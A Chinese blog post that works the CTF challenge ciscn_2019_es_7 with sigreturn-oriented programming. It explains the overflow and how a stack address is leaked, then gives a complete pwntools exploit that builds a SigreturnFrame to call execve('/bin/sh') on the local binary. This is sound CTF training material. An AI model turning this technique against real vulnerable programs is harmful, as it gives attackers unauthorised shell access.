SROP例题

  具体攻击原理可以参考安全客这篇文章:入口

  刚学了一点,也是懵懵懂懂的,拿几道题来练练手。

ciscn_2019_es_7

  64位程序,只开启了NX保护。

SROP例题

  相当于执行了read(0,buf,0x400),write(1,buf,0x30),在执行read的时候可以进行溢出。题目中还有一个函数叫做gadgets,里面提供了一些gadgaets供我们使用。

SROP例题

  15是调用sigreturn,59是调用execve。调用execve需要让几个寄存器满足条件,rdi=="/bin/sh",rsi==NULL,rdx==NULL,这里就需要我们手动输入"/bin/sh"字符串,并且要知道字符串的地址,所以就需要leak一个栈地址。

  step1:通过read,payload = '/bin/sh\x00'*2+p64(0x04004f1),将payload打过去,此时会leak一个栈地址。动调一下,算一下我们输入的'/bin/sh'和leak的栈地址的距离。

SROP例题

  这里我只输入了一个binsh,下面的箭头是我们leak的stack地址,上面是binsh的地址。相差0x118,所以将leak的stack地址减去0x118,里面存的就是binsh字符串了。

  step2:可以看到第一步的时候,返回地址我们设置成了0x04004f1

SROP例题

SROP例题

  目的是可以继续写入,少了push等操作,这样对栈不会有影响。此时又是一个输入,这个时候就用到srop了。

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = stack
4 sigframe.rsi = 0x0
5 sigframe.rdx = 0x0
6 sigframe.rip = syscall_ret
7 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)

  'a'*0x10是用来充栈的,这0x10个a其实是写入0x8,0x0的位置了。此时的堆栈图:

SROP例题

  mov rax 15 ret就是返回地址,先给rax赋值为15,然后syscall调用sigreturn来进行攻击。将rdi指向binsh字符串,rsi==NULL,rdx==NULL,最后需要将rip指向syscall_ret,就成功调用了。

  这里其实是可以构造srop链的,多次调用sigreturn,只需要将rsp==栈地址,在栈上继续布置srop,就可以达到重复调用。而此题就不需要了,已经可以拿到shell了。

  exp:

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 context(os='linux',arch='amd64',log_level='debug')
 6 
 7 syscall_ret = 0x0400501
 8 mov_rax_15 = 0x04004DA
 9 fun = 0x04004f1
10 
11 p.send('/bin/sh\x00'*2+p64(0x04004f1))
12 p.recv(0x20)
13 stack = u64(p.recv(8))-0x118
14 print 'stack-->'+hex(stack)
15 
16 sigframe = SigreturnFrame()
17 sigframe.rax = constants.SYS_execve
18 sigframe.rdi = stack
19 sigframe.rsi = 0x0
20 sigframe.rdx = 0x0
21 sigframe.rip = syscall_ret
22 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)
23 
24 p.send(payload)
25 p.recv()
26 p.interactive()

  值得注意的是,在第五行需要设置了环境是64位,不然sigframe = SigreturnFrame()会报错。

 

 

 

上一篇:当我谈 Rax 按端拆分代码的时候我谈些什么


下一篇:重读&笔记系列-《深入理解计算机系统》第三章-part1,part2